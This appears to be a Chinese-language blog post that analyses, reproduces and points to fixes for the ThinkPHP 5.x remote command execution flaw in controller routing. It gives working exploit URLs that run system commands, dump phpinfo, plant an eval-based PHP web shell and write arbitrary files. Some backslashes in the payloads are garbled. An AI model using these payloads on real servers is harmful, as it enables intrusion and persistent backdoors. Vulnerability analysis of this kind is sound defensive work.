ThinkPHP 5.x远程命令执行漏洞分析 复现 修复

2020年07月13日 后端开发 33点热度 0人点赞 0条评论

漏洞影响范围

5.x < 5.1.31, <= 5.0.23

漏洞分析

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

路由信息中controller的部分进行了过滤,可知问题出现在路由调度时

关键代码:

在修复之前程序未对控制器进行过滤,导致攻击者可以通过引入符号来调用任意类方法。

其中使用了$this->app->controller方法来实例化控制器,然后调用实例中的方法。跟进controller方法:

其中通过parseModuleAndClass方法解析出$module和$class,然后实例化$class。

而parseModuleAndClass方法中,当$name以反斜线开始时直接将其作为类名。利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

接着,我们再往回看路由解析的代码。其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息

代码比较简单,就是使用/对$url进行分割,未进行任何过滤。

其中的路由url从Request::path()中获取

由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递,但测试时windows环境下会将$_SERVER['pathinfo']中的替换为/。结合前面分析可得初步利用代码如下:index.php?s=index/ amespaceclass/method ,这将会实例化 amespaceclass类并执行method方法。

漏洞利用

1.利用system函数远程命令执行

http://localhost:9096/public/index.php?s=index/thinkpp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

2.通过phpinfo函数写出phpinfo()的信息

http://localhost:9096/public/index.php?s=index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

3.写入shell:

http://localhost:9096/public/index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

或者 http://localhost:9096/index.php?s=index/thinkpp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>

标签: 暂无

建站我帮您

保持饥渴的专注,追求最佳的品质

文章评论